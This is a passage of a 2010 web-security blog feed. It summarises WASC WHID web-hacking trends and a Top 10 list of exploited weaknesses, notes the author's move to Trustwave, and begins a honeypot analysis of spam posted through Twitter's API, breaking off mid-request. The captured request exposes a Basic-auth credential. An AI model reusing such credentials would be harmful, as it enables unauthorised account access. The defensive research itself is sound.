'Segoe UI', 'Lucida Grande', Arial, sans-serif; vertical-align: baseline; line-height: 1.25em; color: rgb(68, 68, 68); "&gt;Report Summary Findings&lt;/h1&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;An analysis of the Web hacking incidents from the first half of 2010 performed by Trustwave’s SpiderLabs Security Research team shows the following trends and findings:&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt; &lt;/p&gt;&lt;ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 3em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; "&gt;A steep rise in attacks against the financial vertical market is occurring in 2010, and is currently the no. 3 targeted vertical at 12 percent. This is mainly a result of cybercriminals targeting small to medium businesses’ (SMBs) online banking accounts.&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; "&gt;Corresponding to cybercriminals targeting online bank accounts, the use of Banking Trojans (which results in stolen authentication credentials) made the largest jump for attack methods (Banking Trojans + Stolen Credentials).&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; "&gt;Application downtime, often due to denial of service attacks, is a rising outcome.&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; "&gt;Organizations have not implemented proper Web application logging mechanisms and thus are unable to conduct proper incident response to identify and correct vulnerabilities. This resulted in the no. 1 “unknown” attack category.&lt;/li&gt;&lt;/ul&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt; &lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;WHID Top 10 Risks for 2010&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;As part of the WHID analysis, here is a current Top 10 listing of the &lt;a href="http://projects.webappsec.org/Threat-Classification"&gt;application weaknesses&lt;/a&gt; that are actively being exploited (with example attack method mapping in parentheses).  Hopefully this data can be used by organizations to re-prioritize their remediation efforts.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;&lt;!--StartFragment--&gt;  &lt;table border="0" cellpadding="0" cellspacing="0" width="366" style="border-collapse:  collapse;width:366pt"&gt;  &lt;colgroup&gt;&lt;col width="56" style="mso-width-source:userset;width:56pt"&gt;  &lt;col width="310" style="mso-width-source:userset;width:310pt"&gt;  &lt;/colgroup&gt;&lt;tbody&gt;&lt;tr height="29" style="mso-height-source:userset;height:29.2pt"&gt;   &lt;td height="29" class="oa1" width="56" style="height:29.2pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-size:12.0pt;font-family:   Arial;mso-ascii-font-family:Arial;mso-bidi-font-family:Arial;color:white;   mso-color-index:14;mso-font-kerning:12.0pt;language:en-US;font-weight:bold"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa1" width="310" style="width:310pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-size: 12pt; font-family: Calibri; font-weight: bold; "&gt;WHID&lt;/span&gt;&lt;span style="font-size: 12pt; font-family: Calibri; font-weight: bold; vertical-align: baseline; "&gt; Top 10 for 2010&lt;/span&gt;&lt;span style="font-size:12.0pt;font-family:Calibri;   mso-ascii-font-family:Calibri;mso-bidi-font-family:Arial;color:white;   mso-color-index:14;mso-font-kerning:12.0pt;language:en-US;font-weight:bold"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="20" style="mso-height-source:userset;height:20.4pt"&gt;   &lt;td height="20" class="oa2" width="56" style="height:20.4pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;1&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa3" width="310" style="width:310pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;margin-right:0in;   text-align:left;direction:ltr;unicode-bidi:embed;vertical-align:top;   mso-line-break-override:none;word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Improper Output Handling (XSS and   Planting of Malware)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="24" style="mso-height-source:userset;height:24.0pt"&gt;   &lt;td height="24" class="oa4" width="56" style="height:24.0pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;2&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa5" width="310" style="width:310pt"&gt;   &lt;p style="line-height:normal;margin-top:0pt;margin-bottom:0pt;margin-left:   0in;margin-right:0in;text-indent:0in;text-align:left;direction:ltr;   unicode-bidi:embed;vertical-align:top;mso-line-break-override:none;   word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Insufficient Anti-Automation (Brute Force and &lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;DoS&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="22" style="mso-height-source:userset;height:21.6pt"&gt;   &lt;td height="22" class="oa6" width="56" style="height:21.6pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;3&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa7" width="310" style="width:310pt"&gt;   &lt;p style="line-height:normal;margin-top:0pt;margin-bottom:0pt;margin-left:   0in;margin-right:0in;text-indent:0in;text-align:left;direction:ltr;   unicode-bidi:embed;vertical-align:top;mso-line-break-override:none;   word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Improper Input Handling (SQL Injection)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="25" style="mso-height-source:userset;height:25.2pt"&gt;   &lt;td height="25" class="oa4" width="56" style="height:25.2pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;4&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa5" width="310" style="width:310pt"&gt;   &lt;p style="line-height:normal;margin-top:0pt;margin-bottom:0pt;margin-left:   0in;margin-right:0in;text-indent:0in;text-align:left;direction:ltr;   unicode-bidi:embed;vertical-align:top;mso-line-break-override:none;   word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Insufficient Authentication (Stolen Credentials/Banking   Trojans)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="24" style="mso-height-source:userset;height:23.75pt"&gt;   &lt;td height="24" class="oa6" width="56" style="height:23.75pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;5&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa7" width="310" style="width:310pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;margin-right:0in;   text-align:left;direction:ltr;unicode-bidi:embed;vertical-align:top;   mso-line-break-override:none;word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Application &lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Misconfiguration&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; (Detailed&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; vertical-align: baseline; "&gt;&lt;b&gt; error messages)&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="29" style="mso-height-source:userset;height:29.2pt"&gt;   &lt;td height="29" class="oa4" width="56" style="height:29.2pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;6&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa5" width="310" style="width:310pt"&gt;   &lt;p style="line-height:normal;margin-top:0pt;margin-bottom:0pt;margin-left:   0in;margin-right:0in;text-indent:0in;text-align:left;direction:ltr;   unicode-bidi:embed;vertical-align:top;mso-line-break-override:none;   word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Insufficient Process Validation&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; vertical-align: baseline; "&gt;&lt;b&gt; (CSRF and DNS Hijacking)&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="29" style="mso-height-source:userset;height:29.2pt"&gt;   &lt;td height="29" class="oa6" width="56" style="height:29.2pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;7&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa7" width="310" style="width:310pt"&gt;   &lt;p style="line-height:normal;margin-top:0pt;margin-bottom:0pt;margin-left:   0in;margin-right:0in;text-indent:0in;text-align:left;direction:ltr;   unicode-bidi:embed;vertical-align:top;mso-line-break-override:none;   word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Insufficient&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; vertical-align: baseline; "&gt;&lt;b&gt; Authorization   (Predictable Resource Location/Forceful Browsing)&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="18" style="mso-height-source:userset;height:18.45pt"&gt;   &lt;td height="18" class="oa4" width="56" style="height:18.45pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;8&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa5" width="310" style="width:310pt"&gt;   &lt;p style="line-height:normal;margin-top:0pt;margin-bottom:0pt;margin-left:   0in;margin-right:0in;text-indent:0in;text-align:left;direction:ltr;   unicode-bidi:embed;vertical-align:top;mso-line-break-override:none;   word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Abuse of Functionality (CSRF/Click-Fraud)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="29" style="mso-height-source:userset;height:29.2pt"&gt;   &lt;td height="29" class="oa6" width="56" style="height:29.2pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;9&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa7" width="310" style="width:310pt"&gt;   &lt;p style="line-height:normal;margin-top:0pt;margin-bottom:0pt;margin-left:   0in;margin-right:0in;text-indent:0in;text-align:left;direction:ltr;   unicode-bidi:embed;vertical-align:top;mso-line-break-override:none;   word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Insufficient Password Recovery (Brute Force)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr height="29" style="mso-height-source:userset;height:29.2pt"&gt;   &lt;td height="29" class="oa4" width="56" style="height:29.2pt;width:56pt"&gt;   &lt;p style="margin-top:0pt;margin-bottom:0pt;margin-left:0in;text-align:left;   direction:ltr;unicode-bidi:embed;mso-line-break-override:none;word-break:   normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;10&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td class="oa5" width="310" style="width:310pt"&gt;   &lt;p style="line-height:normal;margin-top:0pt;margin-bottom:0pt;margin-left:   0in;margin-right:0in;text-indent:0in;text-align:left;direction:ltr;   unicode-bidi:embed;vertical-align:top;mso-line-break-override:none;   word-break:normal;punctuation-wrap:hanging"&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Improper &lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt;Filesystem&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Arial; color: black; "&gt;&lt;b&gt; Permissions (info Leakages)&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:12.0pt;font-family:Arial;mso-ascii-font-family:Arial;   mso-bidi-font-family:Arial;color:black;mso-color-index:1;mso-font-kerning:   12.0pt;language:en-US;font-weight:normal"&gt; &lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;!--EndFragment--&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;Download the &lt;a href="http://projects.webappsec.org/f/WHIDWhitePaper_WASC.pdf"&gt;full report&lt;/a&gt;.&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-564556983966719?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/564556983966719/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=564556983966719' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/564556983966719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/564556983966719'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/09/wasc-whid-bi-annual-report-for-2010.html' title='WASC WHID Semi-Annual Report for 2010'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-813529789248549200</id><published>2010-07-12T15:19:00.002-04:00</published><updated>2010-07-12T15:30:30.821-04:00</updated><title type='text'>Moving to the Trustwave SpiderLabs Research Team</title><content type='html'>&lt;i&gt;Submitted by Ryan Barnett 07/12/2010&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As you may have heard, &lt;a href="https://www.trustwave.com/pressReleases.php?n=062210&amp;amp;hp=1"&gt;Trustwave has acquired Breach Security&lt;/a&gt;!  As part of this move, I am excited to announce that I have now joined the Trustwave &lt;a href="https://www.trustwave.com/spiderLabs.php"&gt;SpiderLabs Research Team&lt;/a&gt;.  I am extremely excited to join such a great group of people and to contribute to the team.  As part of my job, I will be focusing in more time on updating signatures for Trustwave's WAF products (which includes both open source ModSecurity and WebDefend).  I will also be making more updates to the &lt;a href="http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project"&gt;OWASP ModSecurity Core Rule Set&lt;/a&gt; (CRS).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Speaking of the CRS, if anyone is going to be out at Blackhat in Las Vegas at the end of the month, please try and come by the &lt;a href="http://www.blackhat.com/html/bh-us-10/bh-us-10-specialevents_arsenal.html"&gt;Arsenal Event&lt;/a&gt; on Thursday morning as I will be presenting the ModSecurity CRS and the &lt;a href="http://www.modsecurity.org/demo/"&gt;Demo page&lt;/a&gt; at Kiosk #3.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hope to see you all there!&lt;/div&gt;&lt;meta equiv="content-type" content="text/html; charset=utf-8"&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-813529789248549200?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/813529789248549200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=813529789248549200' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/813529789248549200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/813529789248549200'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/07/moving-to-trustwave-spiderlabs-research.html' title='Moving to the Trustwave SpiderLabs Research Team'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-5838185133796882279</id><published>2010-06-21T13:21:00.003-04:00</published><updated>2010-06-21T14:35:23.025-04:00</updated><title type='text'>Spammers using Twitter's Update Status API</title><content type='html'>&lt;i&gt;Submitted by Ryan Barnett 06/21/2010&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I was reviewing the logs over at our &lt;a href="http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots"&gt;WASC Distributed Open Proxy Honeypot Project&lt;/a&gt; and I noticed some interesting traffic.  It looks as though Spammers are using the Twitter API to post their messages to their fake accounts.  While the news of Spammers doing this is not new, the WASC honeypots are able to take a different vantage point and correlate account data.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here is one example Spam posting transaction: &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  color: rgb(51, 51, 51); line-height: 13px; font-family:Arial, Helvetica, Geneva, sans-serif;font-size:12px;"&gt;&lt;div class="border" style="font: normal normal normal 12px/13px Arial, Helvetica, Geneva, sans-serif; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(216, 216, 216); border-right-color: rgb(216, 216, 216); border-bottom-color: rgb(216, 216, 216); border-left-color: rgb(216, 216, 216); width: 925px; overflow-x: auto; "&gt;&lt;table id="summaryTable" cellpadding="0" cellspacing="0" style="width: 924px; border-top-width: 1px; border-top-style: solid; border-top-color: rgb(255, 255, 255); border-left-width: 1px; border-left-style: solid; border-left-color: rgb(255, 255, 255); "&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="font: normal normal normal 12px/13px Arial, Helvetica, Geneva, sans-serif; "&gt;&lt;span class="httpHeader" style="font: normal normal bold 14px/16px Arial, Helvetica, Geneva, sans-serif; font-weight: bold; padding-top: 2px; padding-bottom: 2px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: rgb(239, 243, 252); display: block; border-top-width: 1px; border-top-style: solid; border-top-color: rgb(240, 240, 240); border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(240, 240, 240); background-position: initial initial; background-repeat: initial initial; "&gt;Request Headers&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="contentCellPre" style="font: normal normal normal 12px/16px 'Courier New', Courier; padding-top: 3px; padding-right: 8px; padding-bottom: 3px; padding-left: 8px; white-space: wrap; "&gt;&lt;span class="httpFirstLine" style="font-weight: bold; color: rgb(68, 68, 68); padding-top: 2px; padding-bottom: 2px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: rgb(255, 253, 238); display: block; border-top-width: 1px; border-top-style: solid; border-top-color: rgb(240, 240, 240); border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(240, 240, 240); background-position: initial initial; background-repeat: initial initial; "&gt;POST http://twitter.com/statuses/update.xml HTTP/1.1&lt;/span&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;Authorization:&lt;/span&gt; Basic Sm9oblRNYWxtOm5rdGpjcjEyMw==&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;X-Twitter-Client-URL:&lt;/span&gt; 